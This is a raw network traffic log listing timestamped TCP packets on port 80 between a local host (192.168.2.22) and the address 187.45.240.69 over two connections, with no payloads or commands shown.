Aug 16, 2022 11:53:28.665510893 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665532112 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665551901 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665584087 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665610075 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665628910 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665637016 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665663004 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665666103 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665693045 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665718079 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665724039 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665740013 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665745020 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665767908 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665772915 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665777922 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665791988 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665810108 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665827036 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665836096 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665863991 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665864944 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665874958 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665894032 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665919065 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665920019 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665946960 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665954113 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.665972948 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.665993929 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666001081 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666028023 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666032076 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666053057 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666071892 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666085005 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666116953 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666135073 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666146994 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666172028 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666192055 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666203022 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666229963 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666256905 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666256905 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666265965 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666277885 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666304111 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666317940 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666332006 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666357994 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666368008 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666385889 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.666399002 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.666443110 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.684288025 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.709072113 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878035069 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878098011 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878123045 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878140926 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878165960 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878191948 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878216028 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878240108 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878263950 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878287077 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878312111 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878309965 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878334999 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878357887 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878382921 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878396034 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878408909 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878422022 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878434896 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878441095 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878458977 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878477097 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878480911 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878484964 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878505945 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878511906 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878536940 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878557920 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878562927 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878573895 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878587961 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878604889 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878613949 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878638029 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878647089 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878663063 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878681898 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878688097 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878712893 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878729105 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878735065 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878737926 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878753901 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878762960 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878787994 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878799915 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878813028 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878823042 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878839970 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878859997 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878865004 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878890038 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878902912 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878916025 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878932953 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878942013 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878964901 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.878978014 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.878988981 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879009962 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879014015 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879038095 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879049063 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879061937 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879074097 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879085064 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879097939 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879112005 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879122972 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879127979 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879138947 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879157066 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879163027 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879188061 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879193068 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879211903 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879236937 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879245043 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879261017 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879267931 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879286051 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879297018 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879312038 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879336119 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879348993 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879390955 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879400015 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879409075 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879424095 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879441977 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879451990 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879475117 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.879487038 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879508018 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.879549980 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.880304098 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.880465984 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.883443117 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.895709991 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.895761967 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:28.895848989 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:28.898485899 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.095269918 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095304012 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095323086 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095339060 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095369101 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095387936 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.095396042 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.095422983 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.095448971 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.098742962 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.110234022 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.110260963 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.110276937 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.110317945 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.110347033 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.139156103 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310689926 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310741901 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310770035 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310796022 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310796022 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310817003 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310825109 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310857058 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310883045 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310909986 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.310916901 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310920954 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310924053 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.310944080 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.339822054 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351000071 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351052046 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351083040 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351113081 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351124048 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351139069 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351150990 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351155996 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351170063 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351177931 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351196051 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351217985 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351223946 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351232052 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351257086 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351262093 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351286888 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351294994 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351319075 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351322889 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351398945 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351430893 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351443052 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351460934 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351463079 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351490021 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351520061 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351526022 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351551056 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351552010 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351581097 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351609945 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351614952 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351640940 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351644993 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.351670980 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351700068 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.351705074 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.352890015 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.352906942 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.354790926 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552025080 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552114964 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552122116 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552150011 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552186966 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552206039 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552253962 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552277088 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552298069 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552306890 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552495956 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552536964 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552643061 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552669048 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552684069 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552702904 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552793026 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552814007 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.552833080 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.552839994 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.553929090 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.555162907 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568691969 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568732977 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568756104 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568777084 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568779945 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568803072 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568809986 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568826914 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568850994 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568871975 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568886042 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568893909 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568909883 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568917036 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568933010 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568938971 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568939924 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568958998 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.568963051 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.568985939 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.569005966 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.569011927 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.569019079 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.569068909 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.570909023 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.573340893 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.767159939 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.767185926 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.767298937 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.770945072 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.785022974 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785064936 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785090923 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785116911 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785128117 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.785142899 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785166979 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.785166979 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.785192013 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.785219908 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.790364027 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982722044 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982764959 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982784986 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982791901 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982804060 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982820988 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982825041 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982848883 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982851028 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982876062 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982880116 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982903004 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982903957 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982930899 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982937098 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982955933 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982969046 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.982981920 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.982985020 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983007908 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983011007 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983035088 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983037949 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983062983 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983066082 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983089924 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983093023 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983115911 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983119011 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983141899 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983144999 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983171940 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.983416080 CEST	80	49197	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:29.983453989 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:29.985393047 CEST	49197	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:30.002981901 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:30.003046036 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:34.988646984 CEST	80	49197	187.45.240.69	192.168.2.22
